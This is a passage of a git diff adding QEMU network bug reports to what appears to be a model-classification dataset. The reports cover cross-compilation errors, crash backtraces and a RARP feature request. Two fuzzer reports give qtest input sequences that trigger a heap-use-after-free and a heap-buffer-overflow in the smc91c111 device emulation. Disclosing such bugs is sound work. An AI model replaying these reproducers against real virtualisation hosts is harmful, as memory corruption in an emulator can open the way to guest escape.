'net_slirp_poll_notify': +../net/slirp.c:367:28: error: passing argument 3 of 'slirp_pollfds_fill' from incompatible pointer type [-Wincompatible-pointer-types] + 367 | net_slirp_add_poll, poll->pollfds); + | ^~~~~~~~~~~~~~~~~~ + | | + | int (*)(int, int, void *) +In file included from ../net/slirp.c:41: +/home/cross-qemu-deps/include/slirp/libslirp.h:255:40: note: expected 'SlirpAddPollCb' {aka 'int (*)(long long unsigned int, int, void *)'} but argument is of type 'int (*)(int, int, void *)' + 255 | SlirpAddPollCb add_poll, void *opaque); + | ~~~~~~~~~~~~~~~^~~~~~~~ +``` + +Possible solution relying on cross-platform MACRO: https://handsonnetworkprogramming.com/articles/socket-function-return-value-windows-linux-macos/ +Steps to reproduce: +1. Prepare cross-compilation build of qemu 9.1.0 using following steps (It's not necessary to set up a virtual machine if your main OS has good mingw repository, like Fedora, Arch linux, Manjaro. But if you're on Debian or Ubuntu, it's required): +2. Download official Fedora workstation 40 x86_64 ISO and install it to a virtual disk and boot that disk. +3. On Fedora, do:\ + `wget https://download.qemu.org/qemu-9.1.0.tar.xz`\ + ` tar xvJf qemu-9.1.0.tar.xz`\ + ` cd qemu-9.1.0` +4. `sudo yum install git meson ninja-build python3-sphinx python3-sphinx_rtd_theme gcc mingw64-gcc mingw64-pkg-config mingw64-glib2` +5. `git clone https://gitlab.freedesktop.org/slirp/libslirp.git` +6. create file x86_64-w64-mingw32.txt in qemu-9.1.0 directory with the content as follows: + +``` +[binaries] +c = '/usr/bin/x86_64-w64-mingw32-gcc' +cpp = '/usr/bin/x86_64-w64-mingw32-g++' +ar = '/usr/bin/x86_64-w64-mingw32-ar' +strip = '/usr/bin/x86_64-w64-mingw32-strip' +pkg-config = '/usr/bin/x86_64-w64-mingw32-pkg-config' +exe_wrapper = 'wine' + +[host_machine] +system = 'windows' +cpu_family = 'x86_64' +cpu = 'i686' +endian = 'little' +``` + + 7. Run 2 commands: + + `export CROSS_QEMU_DEPS="/home/cross-qemu-deps"`\ + ` sudo mkdir -p $CROSS_QEMU_DEPS` + 8. Install libslirp so that future qemu binaries can have internet access via \`-netdev user\`\ + \ + `cd libslirp`\ + \ + ` meson setup --cross-file ../x86_64-w64-mingw32.txt --prefix "$CROSS_QEMU_DEPS" build-mingw/`\ + ` meson compile -C build-mingw`\ + ` cd build-mingw`\ + ` ninja install` + 9. Set environment variables for cross-compilation\ + \ + ` sudo find / -type f -name '*.pc'` and make sure all mingw \*.pc files live in /usr/x86_64-w64-mingw32/sys-root/mingw/lib/pkgconfig/. Correct this path in PKG_CONFIG_PATH if you see it was altered by mingw or package contributors.\ + \ + ` export PKG_CONFIG_PATH="/usr/x86_64-w64-mingw32/sys-root/mingw/lib/pkgconfig/:$PKG_CONFIG_PATH"`\ + ` export PKG_CONFIG_LIBDIR="${CROSS_QEMU_DEPS}/lib/pkgconfig/:$PKG_CONFIG_LIBDIR"`\ + ` export PKG_CONFIG_SYSROOT_DIR=""` +10. Configure Qemu makefile:\ + \ + `cd ../../`\ + `./configure --cross-prefix=x86_64-w64-mingw32- --enable-slirp`\ + \ + and make sure you see this in the output of configure:\ + `Compilation`\ + `host CPU : x86_64`\ + `host endianness : little`\ + `C compiler : x86_64-w64-mingw32-gcc -m64`\ + `Host C compiler : cc` +11. Cross-compile qemu: `` make -j`nproc` `` +12. Get the error `initialization of 'void (*)(slirp_os_socket, void *)' {aka 'void (*)(long long unsigned int, void *)'} from incompatible pointer type 'void (*)(int, void *)'` as above. +Additional information: +After having seen this bug, do these steps (revert to the commit right before the buggy one). + +` cd libslirp`\ +` git reset --hard 5e97a93b` + +` meson setup --cross-file ../x86_64-w64-mingw32.txt --prefix "$CROSS_QEMU_DEPS" build-mingw/ --reconfigure`\ +` meson compile -C build-mingw`\ +` cd build-mingw`\ +` ninja install` + +`` cd ../../ ``\ +`` ./configure --cross-prefix=x86_64-w64-mingw32- --enable-slirp ``\ +`` make -j`nproc` `` + +=\> Cross-compilation comes to an end just fine, building all compilation targets without any errors. diff --git a/results/classifier/gemma3:12b/network/2607 b/results/classifier/gemma3:12b/network/2607 new file mode 100644 index 000000000..c0e5fefff --- /dev/null +++ b/results/classifier/gemma3:12b/network/2607 @@ -0,0 +1,68 @@ + +msys2 build failed +Description of problem: + +Steps to reproduce: +1. Install MSYS2 and QEMU build dependencies +2. Update (pacman -Syu) +3. Build: +``` +./configure --enable-sdl --enable-fdt=system --disable-docs --target-list=arm-softmmu,aarch64-softmmu --enable-avx2 +make -j16 +``` +Additional information: +See: https://github.com/msys2/MINGW-packages/issues/22104#issuecomment-2393727818 + +output: +``` +FAILED: libcommon.a.p/net_tap-win32.c.obj +"cc" "-m64" "-Ilibcommon.a.p" "-ID:/a/_temp/msys64/mingw64/include/capstone" "-ID:/a/_temp/msys64/mingw64/include/p11-kit-1" "-ID:/a/_temp/msys64/mingw64/include/pixman-1" "-ID:/a/_temp/msys64/mingw64/include/libpng16" "-ID:/a/_temp/msys64/mingw64/include/spice-server" "-ID:/a/_temp/msys64/mingw64/include/spice-1" "-ID:/a/_temp/msys64/mingw64/include/cacard" "-ID:/a/_temp/msys64/mingw64/include/nss3" "-ID:/a/_temp/msys64/mingw64/include/nspr" "-ID:/a/_temp/msys64/mingw64/include/glib-2.0" "-ID:/a/_temp/msys64/mingw64/lib/glib-2.0/include" "-ID:/a/_temp/msys64/mingw64/include/libusb-1.0" "-ID:/a/_temp/msys64/mingw64/include/SDL2" "-ID:/a/_temp/msys64/mingw64/include/slirp" "-ID:/a/_temp/msys64/mingw64/include/ncursesw" "-ID:/a/_temp/msys64/mingw64/include/gtk-3.0" "-ID:/a/_temp/msys64/mingw64/include/pango-1.0" "-ID:/a/_temp/msys64/mingw64/include/harfbuzz" "-ID:/a/_temp/msys64/mingw64/include/cairo" "-ID:/a/_temp/msys64/mingw64/include/freetype2" "-ID:/a/_temp/msys64/mingw64/include/gdk-pixbuf-2.0" "-ID:/a/_temp/msys64/mingw64/include/webp" "-ID:/a/_temp/msys64/mingw64/include/atk-1.0" "-ID:/a/_temp/msys64/mingw64/include/fribidi" "-ID:/a/_temp/msys64/mingw64/include/rav1e" "-ID:/a/_temp/msys64/mingw64/include/svt-av1" "-fdiagnostics-color=auto" "-Wall" "-Winvalid-pch" "-Werror" "-std=gnu11" "-O2" "-g" "-fstack-protector-strong" "-Wempty-body" "-Wendif-labels" "-Wexpansion-to-defined" "-Wformat-security" "-Wformat-y2k" "-Wignored-qualifiers" "-Wimplicit-fallthrough=2" "-Winit-self" "-Wmissing-format-attribute" "-Wmissing-prototypes" "-Wnested-externs" "-Wold-style-declaration" "-Wold-style-definition" "-Wredundant-decls" "-Wshadow=local" "-Wstrict-prototypes" "-Wtype-limits" "-Wundef" "-Wvla" "-Wwrite-strings" "-Wno-missing-include-dirs" "-Wno-psabi" "-Wno-shift-negative-value" "-iquote" "." "-iquote" "D:/a/qemu/qemu" "-iquote" "D:/a/qemu/qemu/include" "-iquote" "D:/a/qemu/qemu/host/include/x86_64" "-iquote" "D:/a/qemu/qemu/host/include/generic" "-iquote" "D:/a/qemu/qemu/tcg/i386" "-msse2" "-mcx16" "-D_GNU_SOURCE" "-D_FILE_OFFSET_BITS=64" "-D_LARGEFILE_SOURCE" "-fno-strict-aliasing" "-fno-common" "-fwrapv" "-fno-pie" "-no-pie" "-ftrivial-auto-var-init=zero" "-fzero-call-used-regs=used-gpr" "-DHWY_SHARED_DEFINE" "-DAVIF_DLL" "-DEB_DLL" "-DLIBDEFLATE_DLL" "-DNCURSES_WIDECHAR" "-DNCURSES_WIDECHAR=1" "-Dmain=SDL_main" "-DSTRUCT_IOVEC_DEFINED" -MD -MQ libcommon.a.p/net_tap-win32.c.obj -MF "libcommon.a.p/net_tap-win32.c.obj.d" -o libcommon.a.p/net_tap-win32.c.obj "-c" ../net/tap-win32.c +../net/tap-win32.c: In function 'tap_win32_open': +../net/tap-win32.c:343:19: error: '%s' directive output may be truncated writing up to 255 bytes into a region of size 176 [-Werror=format-truncation=] + 343 | "%s\\%s\\Connection", + | ^~ + 344 | NETWORK_CONNECTIONS_KEY, enum_name); + | ~~~~~~~~~ +In function 'get_device_guid', + inlined from 'tap_win32_open' at ../net/tap-win32.c:616:10: +../net/tap-win32.c:341:9: note: 'snprintf' output between 92 and 347 bytes into a destination of size 256 + 341 | snprintf(connection_string, + | ^~~~~~~~~~~~~~~~~~~~~~~~~~~ + 342 | sizeof(connection_string), + | ~~~~~~~~~~~~~~~~~~~~~~~~~~ + 343 | "%s\\%s\\Connection", + | ~~~~~~~~~~~~~~~~~~~~~ + 344 | NETWORK_CONNECTIONS_KEY, enum_name); + | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +../net/tap-win32.c: In function 'tap_win32_open': +../net/tap-win32.c:242:58: error: '%s' directive output may be truncated writing up to 255 bytes into a region of size 178 [-Werror=format-truncation=] + 242 | snprintf (unit_string, sizeof(unit_string), "%s\\%s", + | ^~ + 243 | ADAPTER_KEY, enum_name); + | ~~~~~~~~~ +In function 'is_tap_win32_dev', + inlined from 'get_device_guid' at ../net/tap-win32.c:368:21, + inlined from 'tap_win32_open' at ../net/tap-win32.c:616:10: +../net/tap-win32.c:242:9: note: 'snprintf' output between 79 and 334 bytes into a destination of size 256 + 242 | snprintf (unit_string, sizeof(unit_string), "%s\\%s", + | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + 243 | ADAPTER_KEY, enum_name); + | ~~~~~~~~~~~~~~~~~~~~~~~ +../net/tap-win32.c: In function 'tap_win32_open': +../net/tap-win32.c:620:52: error: '%s' directive output may be truncated writing up to 255 bytes into a region of size 245 [-Werror=format-truncation=] + 620 | snprintf (device_path, sizeof(device_path), "%s%s%s", + | ^~ + 621 | USERMODEDEVICEDIR, + 622 | device_guid, + | ~~~~~~~~~~~ +../net/tap-win32.c:620:5: note: 'snprintf' output between 16 and 271 bytes into a destination of size 256 + 620 | snprintf (device_path, sizeof(device_path), "%s%s%s", + | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + 621 | USERMODEDEVICEDIR, + | ~~~~~~~~~~~~~~~~~~ + 622 | device_guid, + | ~~~~~~~~~~~~ + 623 | TAPSUFFIX); + | ~~~~~~~~~~ +cc1.exe: all warnings being treated as errors +``` diff --git a/results/classifier/gemma3:12b/network/2623 b/results/classifier/gemma3:12b/network/2623 new file mode 100644 index 000000000..3b6e1efdb --- /dev/null +++ b/results/classifier/gemma3:12b/network/2623 @@ -0,0 +1,2 @@ + +Timeout waiting for ARP/RARP packets diff --git a/results/classifier/gemma3:12b/network/2688 b/results/classifier/gemma3:12b/network/2688 new file mode 100644 index 000000000..91cfe4d22 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2688 @@ -0,0 +1,2 @@ + +Add `disable_host_loopback` for network user backend diff --git a/results/classifier/gemma3:12b/network/2716 b/results/classifier/gemma3:12b/network/2716 new file mode 100644 index 000000000..c4d96df8f --- /dev/null +++ b/results/classifier/gemma3:12b/network/2716 @@ -0,0 +1,8 @@ + +migrate incoming with fd transfer issue +Steps to reproduce: +1. +2. +3. +Additional information: +# diff --git a/results/classifier/gemma3:12b/network/2727 b/results/classifier/gemma3:12b/network/2727 new file mode 100644 index 000000000..cc1097e1f --- /dev/null +++ b/results/classifier/gemma3:12b/network/2727 @@ -0,0 +1,2 @@ + +`Debian testing` (2024-12-16) - `qemu-system-x86_64 9.2.0` : bug with the `virtio-net` and a DHCP connection with a virtual bridge. diff --git a/results/classifier/gemma3:12b/network/2740 b/results/classifier/gemma3:12b/network/2740 new file mode 100644 index 000000000..f3f6876a6 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2740 @@ -0,0 +1,68 @@ + +Out-of-bounds access and heap-use-after-free in smc91c111_writeb() +Description of problem: +An out-of-bounds access bug was triggered by my fuzzer. + +The error is: + +``` +../hw/net/smc91c111.c:457:17: runtime error: index 48 out of bounds for type 'uint8_t[4][2048]' (aka 'unsigned char[4][2048]') +SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ../hw/net/smc91c111.c:457:17 in +================================================================= +==60006==ERROR: AddressSanitizer: heap-use-after-free on address 0x6290000385b4 at pc 0x5de3d1ac6add bp 0x7ffc4d4b2b30 sp 0x7ffc4d4b2b28 +WRITE of size 1 at 0x6290000385b4 thread T0 +warning: DWARF unit at offset 0x00417a37 has unsupported address size: 31 (supported are 2, 4, 8) + #0 0x5de3d1ac6adc in smc91c111_writeb smc91c111.c + #1 0x5de3d1abf6e3 in smc91c111_writefn smc91c111.c + #2 0x5de3d2d9e2d3 in memory_region_write_accessor memory.c + #3 0x5de3d2d9da4a in access_with_adjusted_size memory.c + #4 0x5de3d2d9ce78 in memory_region_dispatch_write + #5 0x5de3d2df5e44 in flatview_write_continue_step physmem.c + #6 0x5de3d2de2d40 in flatview_write physmem.c + #7 0x5de3d2de29d7 in address_space_write + ... + +0x6290000385b4 is located 5044 bytes inside of 16176-byte region [0x629000037200,0x62900003b130) +freed by thread T0 here: + #0 0x5de3d1100027 in __interceptor_free.part.0 asan_malloc_linux.cpp + #1 0x5de3d2f35106 in object_unref + #2 0x5de3d24ac45c in qemu_get_nic_models + #3 0x5de3d24acead in qemu_create_nic_bus_devices + #4 0x5de3d2722553 in realview_init realview.c + #5 0x5de3d1468182 in machine_run_board_init + #6 0x5de3d237e40a in qmp_x_exit_preconfig + #7 0x5de3d238505c in qemu_init + ... + +previously allocated by thread T0 here: + #0 0x5de3d1101217 in malloc + #1 0x7ea39d40a738 in g_malloc + #2 0x5de3d24acead in qemu_create_nic_bus_devices + #3 0x5de3d2722553 in realview_init realview.c + #4 0x5de3d1468182 in machine_run_board_init + #5 0x5de3d237e40a in qmp_x_exit_preconfig + #6 0x5de3d238505c in qemu_init + ... +``` +Steps to reproduce: +``` +export QEMU_ARGS="-display none -machine accel=qtest, -m 512M -machine realview-eb" +cat << EOF | ./qemu-system-arm $QEMU_ARGS -qtest /dev/null -qtest stdio +clock_step +readw 0x4e000000 +readw 0x4e000000 +clock_step +writel 0x4e00000c 0x2402e660 +readb 0x4e000008 +readl 0x4e000000 +clock_step +readb 0x4e000000 +writel 0x4e000000 0x66308c81 +writew 0x4e000008 0xe40ba4c +readb 0x4e000000 +readw 0x4e000000 +readl 0x4e000008 +EOF +``` +Additional information: + diff --git a/results/classifier/gemma3:12b/network/2742 b/results/classifier/gemma3:12b/network/2742 new file mode 100644 index 000000000..6de57e35e --- /dev/null +++ b/results/classifier/gemma3:12b/network/2742 @@ -0,0 +1,67 @@ + +heap-buffer-overflow in smc91c111_do_tx() +Description of problem: +A buffer-overflow bug was triggered by my fuzzer at smc91c111_do_tx(). + +I've patched hw/net/smc91c111.c with: + +``` +diff --git a/hw/net/smc91c111.c b/hw/net/smc91c111.c +index 702d0e8e83..286298bf06 100644 +--- a/hw/net/smc91c111.c ++++ b/hw/net/smc91c111.c +@@ -429,7 +429,7 @@ static void smc91c111_writeb(void *opaque, hwaddr offset, + /* Ignore. */ + return; + case 2: /* Packet Number Register */ +- s->packet_num = value; ++ s->packet_num = value & (NUM_PACKETS - 1); + return; + case 3: case 4: case 5: + /* Should be readonly, but linux writes to them anyway. Ignore. */ +``` + +The error is: + +``` +==2724739==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x629000022941 at pc 0x595ebbed687b bp 0x7fffa0098a50 sp 0x7fffa0098a48 +READ of size 1 at 0x629000022941 thread T0 + #0 0x595ebbed687a in smc91c111_do_tx hw/net/smc91c111.c:240:19 + #1 0x595ebbed687a in smc91c111_queue_tx hw/net/smc91c111.c:284:5 + #2 0x595ebbed687a in smc91c111_writeb hw/net/smc91c111.c:419:17 + #3 0x595ebbed687a in smc91c111_writefn hw/net/smc91c111.c:666:9 + #4 0x595ebd174d33 in memory_region_write_accessor system/memory.c:497:5 + #5 0x595ebd1744aa in access_with_adjusted_size system/memory.c:573:18 + #6 0x595ebd1738d8 in memory_region_dispatch_write system/memory.c + #7 0x595ebd1cc984 in flatview_write_continue_step system/physmem.c:2786:18 + #8 0x595ebd1b9880 in flatview_write_continue system/physmem.c:2816:19 + #9 0x595ebd1b9880 in flatview_write system/physmem.c:2847:12 + #10 0x595ebd1b9517 in address_space_write system/physmem.c:2967:18 + #11 0x595ebc77d5c3 in qtest_process_command system/qtest.c:522:13 + #12 0x595ebc77b83b in qtest_process_inbuf system/qtest.c:776:9 + ... +``` +Steps to reproduce: +``` +export QEMU_ARGS="-display none -machine accel=qtest, -m 512M -machine realview-eb" +cat << EOF | ./qemu-system-arm $QEMU_ARGS -qtest /dev/null -qtest stdio +clock_step +clock_step +writel 0x4e000000 0x2b1e08f5 +writew 0x4e000000 0x2b1e08f5 +writel 0x4e00000c 0x66027d24 +clock_step +readb 0x4e000000 +writel 0x4e000008 0x238e1f29 +writew 0x4e000000 0x41d9fe3b +writel 0x4e00000c 0x27022a2d +clock_step +readw 0x4e000004 +clock_step +readb 0x4e000008 +clock_step +writew 0x4e000000 0x620c5fdf +EOF +``` +Additional information: + diff --git a/results/classifier/gemma3:12b/network/2745 b/results/classifier/gemma3:12b/network/2745 new file mode 100644 index 000000000..7b48d5b86 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2745 @@ -0,0 +1,27 @@ + +Qemu should send RARP for vhostuser regardless of whether virtio supports GUEST_ANNOUNCE +Description of problem: +When virtio reports to qemu that GUEST_ANNOUNCE is supported, qemu will not send RARP. The assumption, I think, is that guest kernel will do whatever is needed to announce the guest. The problem with this assumption is that 1) kernel won't send RARPs; 2) for IPv4 and IPv6 it will send GARPs and NAs; 3) for interfaces with no IP addresses, I think it won't send anything at all. + +RARPs are useful because they allow to notify regardless of IP configuration. I've [asked](https://issues.redhat.com/browse/RHEL-71919]) RHEL kernel folks to consider issuing RARPs from the guest kernel, but it won't happen overnight, and regardless, it's not a complete solution since we cannot expect all guests running a patched kernel with such feature. + +RARP packets are also often expected by underlying network components. For example, OVN controller has a special "activation-strategy=rarp" configuration that makes OVN wait for a RARP from destination chassis on live migration, and only then unblock traffic for the port. Since RARP is not issed by Qemu nor virtio-net, the OVN port is never unblocked (until its configuration is reset by CMS). + +I think what should be done from Qemu side is to send RARP for vhostuser ports regardless of whether virtio supports GUEST_ANNOUNCE. I **think** this can be achieved by removing this code: + +``` + /* If guest supports GUEST_ANNOUNCE do nothing */ + if (virtio_has_feature(dev->acked_features, VIRTIO_NET_F_GUEST_ANNOUNCE)) { + return 0; + } +``` +Steps to reproduce: +1. Start a VM with vhostuser* port and fresh virtio guest driver. +2. Live migrate it. +3. Observe that RARP is not sent from the migrated port. GARP (or NA for IPv6) is sent instead. +Additional information: +Some external bugs that may be relevant: + +- RHEL kernel request to send RARPs from virtio: https://issues.redhat.com/browse/RHEL-71919 (won't fix the issue for older unpatched kernels) +- Request for OVN to handle GARPs and NAs: https://issues.redhat.com/browse/FDP-1042 (won't solve for unaddressed ports!) +- An attempt to work around the issue in OpenStack Neutron OVN env by disabling activation strategy: https://issues.redhat.com/browse/OSPRH-12571 (not a great long term solution) diff --git a/results/classifier/gemma3:12b/network/2762 b/results/classifier/gemma3:12b/network/2762 new file mode 100644 index 000000000..5f978d374 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2762 @@ -0,0 +1,6 @@ + +virtio-net regression for aarch64 guests +Description of problem: +The host system is running DHCP via dnsmasq 2.88. QEMU 9.1 works properly and completes DHCP handshake. QEMU 9.2 fails the DHCP handshake after DHCPOFFER with "eth0: checksum failure from 10.2.83.1". + +I found by bisecting that the issue was introduced by commit 7987d2be5a8bc3a502f89ba8cf3ac3e09f64d1ce "virtio-net: Copy received header to buffer". Reverting that commit on 9.2.0 corrects the issue. diff --git a/results/classifier/gemma3:12b/network/2767 b/results/classifier/gemma3:12b/network/2767 new file mode 100644 index 000000000..0d5f15384 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2767 @@ -0,0 +1,38 @@ + +sigfaul on netdev stream +Description of problem: +qemu sigfault if use netdev socket and hubport +Steps to reproduce: +1. Preconfigure network interface on /etc/network/interface or try connect from qemu server port another qemu process or other softvare (gnuradio, etc) +``` +auto qt-test0 +iface qt-test0 + address 192.168.10.1/30 + mtu 16384 + pre-up ip tuntap add $IFACE mode tap + post-down ip link del dev $IFACE +``` +2. Run qemu from the cmdline +Additional information: +``` +(gdb) bt +#0 0x0000555555b547d0 in object_get_class () +#1 0x0000555555b9d44c in qio_channel_writev () +#2 0x000055555598295c in ?? () +#3 0x000055555597cf67 in ?? () +#4 0x0000555555980eb9 in qemu_net_queue_send_iov () +#5 0x000055555597b8e4 in ?? () +#6 0x000055555597ce32 in ?? () +#7 0x0000555555980df5 in qemu_net_queue_send () +#8 0x000055555598fb52 in ?? () +#9 0x0000555555d26755 in ?? () +#10 0x0000555555d270d2 in aio_dispatch () +#11 0x0000555555d3f5ef in ?? () +#12 0x00007ffff70f100e in ?? () from /usr/lib/libglib-2.0.so.0 +#13 0x00007ffff70f4988 in g_main_context_dispatch () from /usr/lib/libglib-2.0.so.0 +#14 0x0000555555d40f69 in main_loop_wait () +#15 0x000055555592fc83 in qemu_main_loop () +#16 0x0000555555c7c817 in qemu_default_main () +#17 0x00007ffff7f9a496 in libc_start_main_stage2 (main=0x5555556cc0f0 <main>, argc=12, argv=0x7fffffffebd8) at src/env/__libc_start_main.c:95 +#18 0x00005555556cd0d8 in _start () +``` diff --git a/results/classifier/gemma3:12b/network/277 b/results/classifier/gemma3:12b/network/277 new file mode 100644 index 000000000..5c4f5f0a6 --- /dev/null +++ b/results/classifier/gemma3:12b/network/277 @@ -0,0 +1,2 @@ + +Multi-queue vhost-user fails to reconnect with qemu version >=4.2 diff --git a/results/classifier/gemma3:12b/network/2784 b/results/classifier/gemma3:12b/network/2784 new file mode 100644 index 000000000..b62ca0e12 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2784 @@ -0,0 +1,218 @@ + +SIGILL during DPDK e1000e device initialization - VMOVD instruction fails in QEMU +Description of problem: +I think it's a QEMU issue, but it could be rather a DPDK issue. +When using DPDK with QEMU's e1000e device, the initialization fails with SIGILL (Illegal Instruction) during the LED initialization phase. The issue occurs specifically with the e1000e device and not with other network devices. + +Output from GDB: +``` +Starting DPDK initialization... +EAL: Detected CPU lcores: 4 +EAL: Detected NUMA nodes: 1 +EAL: Auto-detected process type: PRIMARY +EAL: Detected shared linkage of DPDK +EAL: Multi-process socket /var/run/dpdk/rte/mp_socket +EAL: Selected IOVA mode 'PA' +EAL: VFIO support initialized +EAL: Using IOMMU type 1 (Type 1) +EAL: Ignore mapping IO port bar(2) +EAL: Probe PCI driver: net_e1000_em (8086:10d3) device: 0000:01:00.0 (socket -1) + +Thread 1 "hello" received signal SIGILL, Illegal instruction. +0x00007ffff1d4f63e in e1000_id_led_init_generic () + from /usr/local/lib/x86_64-linux-gnu/dpdk/pmds-24.0/librte_net_e1000.so.24.0 + +1: x/i $pc +=> 0x7ffff1d4f63e <e1000_id_led_init_generic+94>: vmovd 0xe00(%rax),%xmm0 +``` + +PCI device information: +``` +01:00.0 Ethernet controller: Intel Corporation 82574L Gigabit Network Connection + Subsystem: Intel Corporation 82574L Gigabit Network Connection + Physical Slot: 0 + Control: I/O+ Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR+ FastB2B- DisINTx- + Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Interrupt: pin A routed to IRQ 22 + IOMMU group: 6 + Region 0: Memory at fe840000 (32-bit, non-prefetchable) [size=128K] + Region 1: Memory at fe860000 (32-bit, non-prefetchable) [size=128K] + Region 2: I/O ports at c000 [size=32] + Region 3: Memory at fe880000 (32-bit, non-prefetchable) [size=16K] + Expansion ROM at fe800000 [disabled] [size=256K] +``` + +GDB Analysis: +The crash occurs during LED initialization when attempting to execute a VMOVD instruction. The register RAX contains value 0x1 at the time of crash, which appears incorrect as it should contain the base address of the device's memory-mapped region (around 0xfe840000 based on PCI info). + +Both host and guest have AVX/AVX2 support +- The issue appears to be related to memory mapping or address translation +- The SIGILL occurs consistently at the same point during device initialization +- This issue only occurs with e1000e device; other network devices work correctly + +Please let me know if you need any additional information. +Additional information: +Test program: +```c +#include <rte_eal.h> +#include <rte_debug.h> +#include <rte_lcore.h> +#include <rte_memory.h> +#include <rte_log.h> +#include <rte_dev.h> +#include <rte_bus.h> +#include <rte_ethdev.h> +#include <rte_kvargs.h> + +// Callback function for memory segment walking +static int dump_memseg(const struct rte_memseg_list *msl, + const struct rte_memseg *ms, void *arg) { + size_t *total_mem = arg; + *total_mem += ms->len; + return 0; +} + +static void print_device_info(uint16_t port_id) { + struct rte_eth_dev_info dev_info; + int ret = rte_eth_dev_info_get(port_id, &dev_info); + if (ret != 0) { + printf("Error getting device info for port %u: %s\n", + port_id, rte_strerror(-ret)); + return; + } + + printf("\nDevice Info for Port %u:\n", port_id); + printf(" Driver name: %s\n", dev_info.driver_name); + + // Get device capabilities + printf(" Capabilities:\n"); + printf(" Maximum RX queues: %u\n", dev_info.max_rx_queues); + printf(" Maximum TX queues: %u\n", dev_info.max_tx_queues); + printf(" Maximum MTU: %u\n", dev_info.max_mtu); + printf(" Minimum RX buffers: %u\n", dev_info.min_rx_bufsize); + printf(" Maximum RX descriptors: %u\n", dev_info.rx_desc_lim.nb_max); + printf(" Maximum TX descriptors: %u\n", dev_info.tx_desc_lim.nb_max); + + // Get and print link status + struct rte_eth_link link; + ret = rte_eth_link_get_nowait(port_id, &link); + if (ret < 0) { + printf(" Link status: unknown\n"); + } else { + printf(" Link status: %s\n", link.link_status ? "up" : "down"); + if (link.link_status) { + printf(" Speed: %u Mbps\n", link.link_speed); + printf(" Duplex: %s\n", + link.link_duplex == RTE_ETH_LINK_FULL_DUPLEX ? + "full" : "half"); + } + } + + // Get and print MAC address + struct rte_ether_addr mac_addr; + ret = rte_eth_macaddr_get(port_id, &mac_addr); + if (ret < 0) { + printf(" MAC address: unknown\n"); + } else { + printf(" MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n", + mac_addr.addr_bytes[0], mac_addr.addr_bytes[1], + mac_addr.addr_bytes[2], mac_addr.addr_bytes[3], + mac_addr.addr_bytes[4], mac_addr.addr_bytes[5]); + } + + // Get statistics + struct rte_eth_stats stats; + ret = rte_eth_stats_get(port_id, &stats); + if (ret == 0) { + printf(" Statistics:\n"); + printf(" RX packets: %" PRIu64 "\n", stats.ipackets); + printf(" TX packets: %" PRIu64 "\n", stats.opackets); + printf(" RX bytes: %" PRIu64 "\n", stats.ibytes); + printf(" TX bytes: %" PRIu64 "\n", stats.obytes); + printf(" RX errors: %" PRIu64 "\n", stats.ierrors); + printf(" TX errors: %" PRIu64 "\n", stats.oerrors); + } +} + +// Print runtime configurations +void print_runtime_config(void) { + // Core and NUMA information + printf("\n=== CPU and Memory Configuration ===\n"); + printf("Main lcore ID: %u\n", rte_get_main_lcore()); + printf("Number of available lcores: %u\n", rte_lcore_count()); + + // Print available lcores and their status + printf("\nLcore status:\n"); + unsigned int lcore_id; + RTE_LCORE_FOREACH(lcore_id) { + printf(" Lcore %u - Role: %s, Socket: %d\n", + lcore_id, + lcore_id == rte_get_main_lcore() ? "Main" : "Worker", + rte_lcore_to_socket_id(lcore_id)); + } + + // Memory and NUMA information + printf("\n=== Memory Configuration ===\n"); + printf("Number of NUMA nodes: %u\n", rte_socket_count()); + printf("IOVA mode: %s\n", rte_eal_iova_mode() == RTE_IOVA_PA ? "PA" : "VA"); + + // Service and Process information + printf("\n=== Process Information ===\n"); + printf("Process type: %s\n", + rte_eal_process_type() == RTE_PROC_PRIMARY ? "Primary" : + rte_eal_process_type() == RTE_PROC_SECONDARY ? "Secondary" : "Invalid"); + + // Runtime options + printf("\n=== Runtime Options ===\n"); + printf("Current log level: %d\n", rte_log_get_global_level()); + + // Memory allocation policy + printf("Hugepage info: %s\n", + rte_eal_has_hugepages() ? "Using hugepages" : "Not using hugepages"); + + // Memory segments info + printf("\n=== Memory Segments ===\n"); + size_t total_memory = 0; + + // Walk through all memory segments + int ret = rte_memseg_walk(dump_memseg, &total_memory); + if (ret < 0) { + printf("Failed to walk memory segments\n"); + } else { + printf("Total memory: %zu MB\n", total_memory >> 20); + } +} + +int main(int argc, char **argv) { + printf("Starting DPDK initialization...\n"); + + // Set log level to debug + rte_log_set_global_level(RTE_LOG_DEBUG); + + int ret = rte_eal_init(argc, argv); + if (ret < 0) { + rte_panic("Cannot init EAL: %s\n", rte_strerror(-ret)); + } + printf("EAL initialization successful\n"); + + // Get number of available ports + uint16_t nb_ports = rte_eth_dev_count_avail(); + printf("\nNumber of available ethernet ports: %u\n", nb_ports); + + // Print info for each port + uint16_t port_id; + RTE_ETH_FOREACH_DEV(port_id) { + print_device_info(port_id); + } + + printf("\nProceeding with runtime configuration...\n"); + print_runtime_config(); + + printf("\nCleaning up...\n"); + rte_eal_cleanup(); + return 0; +} +``` +Compile command: `gcc -o hello hello.c $(pkg-config --cflags libdpdk) $(pkg-config --libs libdpdk) -DRTE_LOG_LEVEL=RTE_LOG_DEBUG` + +Launch command: `sudo gdb --args ./hello -l 0 -n 1 --proc-type=auto -m 256 --iova-mode=pa --log-level=8 --match-allocations -a 0000:01:00.0` diff --git a/results/classifier/gemma3:12b/network/2795 b/results/classifier/gemma3:12b/network/2795 new file mode 100644 index 000000000..3bd9c25c0 --- /dev/null +++ b/results/classifier/gemma3:12b/network/2795 @@ -0,0 +1,161 @@ + +qemu-system-aarch64 crash when issuing set_link net on in monitor +Description of problem: +Boot the guest. On the host, connect to the qemu monitor and issue the following commmands: 